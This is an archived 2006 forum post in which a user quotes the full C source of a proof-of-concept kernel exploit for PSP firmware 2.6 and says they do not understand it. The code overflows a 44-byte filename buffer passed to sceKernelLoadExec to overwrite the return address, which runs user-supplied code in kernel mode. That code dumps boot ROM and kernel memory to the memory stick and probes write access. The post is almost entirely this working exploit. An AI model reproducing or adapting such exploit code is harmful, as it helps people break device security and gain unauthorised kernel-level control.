06-27-2006, 12:52 PM
|
#21
|
Join Date: Mar 2006
Location: LOLWUT
Posts: 2,625
|
I have dl'ed the 2.6 exploit, and it has the src with it. (I have 1.5)
Quote:
|
Originally Posted by The copy.c in the download
Code:
// -------------------------------------------
// Kernel access under firmware 2.6
// (and probably 2.01 & 2.5 aswell)
// * Proof of concept code *
// Written by hitchhikr / Neural.
// -------------------------------------------
// -------------------------------------------
// Include
#include <pspkernel.h>
#include <pspdisplay.h>
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <string.h>
PSP_MODULE_INFO("2.6ploitation", 0, 1, 1);
PSP_MAIN_THREAD_ATTR(THREAD_ATTR_USER);
// -------------------------------------------
// This one will be executed in kernel mode
void kernel_proc(void) {
// Dump'em all - read access
int handle = sceIoOpen("ms0:/boot.BIN", PSP_O_WRONLY | PSP_O_CREAT | PSP_O_TRUNC, 0777);
sceIoWrite(handle, (void*) 0xBFC00000 , 0x100000);
sceIoClose(handle);
handle = sceIoOpen("ms0:/kmem.BIN", PSP_O_WRONLY | PSP_O_CREAT | PSP_O_TRUNC, 0777);
sceIoWrite(handle, (void*) 0x88000000 , 0x400000);
sceIoClose(handle);
handle = sceIoOpen("ms0:/klib.BIN", PSP_O_WRONLY | PSP_O_CREAT | PSP_O_TRUNC, 0777);
sceIoWrite(handle, (void*) 0x88800000 , 0x100000);
sceIoClose(handle);
// Check if we have write access
unsigned int *probe = (unsigned int *) 0x883EFC40;
probe[0] = 0x12345678;
// This file must contain 0x12345678
handle = sceIoOpen("ms0:/writeaccess.BIN", PSP_O_WRONLY | PSP_O_CREAT | PSP_O_TRUNC, 0777);
sceIoWrite(handle, probe, 4);
sceIoClose(handle);
probe[0] = 0;
for(;;) { }
}
// -------------------------------------------
// Program entry point
int main(int argc, char* argv[]) {
int i;
int handle;
char filename[256];
unsigned int *dwfilename;
// This address must *NOT* contains a 00
unsigned int *loop = (unsigned int *) 0x9f02020;
unsigned int *loopsrc = (unsigned int *) &kernel_proc;
char *msg = "chhikr hitchhikr hitchhikr hitchhikr hitchik";
sceKernelDcacheWritebackAll();
// Copy the test code into a safe place
for(i = 0; i < 100; i++) {
loop[i] = loopsrc[i];
}
memset(filename, 0, sizeof(filename));
// Fill it with **** (*MUST* be 44 bytes)
for(i = 0; i < 44; i++) {
filename[i] = msg[i];
}
// Own the $ra
dwfilename = (unsigned int *) &filename[44];
dwfilename[0] = (unsigned int) loop;
// Complete the string
filename[48] = ':';
filename[49] = '\0';
// We need this for some odd flushing (?) reasons
handle = sceIoOpen("ms0:/odd.BIN", PSP_O_WRONLY | PSP_O_CREAT | PSP_O_TRUNC, 0777);
sceIoWrite(handle, dwfilename, 4);
sceIoClose(handle);
sceKernelLoadExec(filename, NULL);
return(0);
}
|
I have NO idea whatsoever what this means, but mayb a more experinced dev could look at it.
--PSPduh
|
|
|
.
.
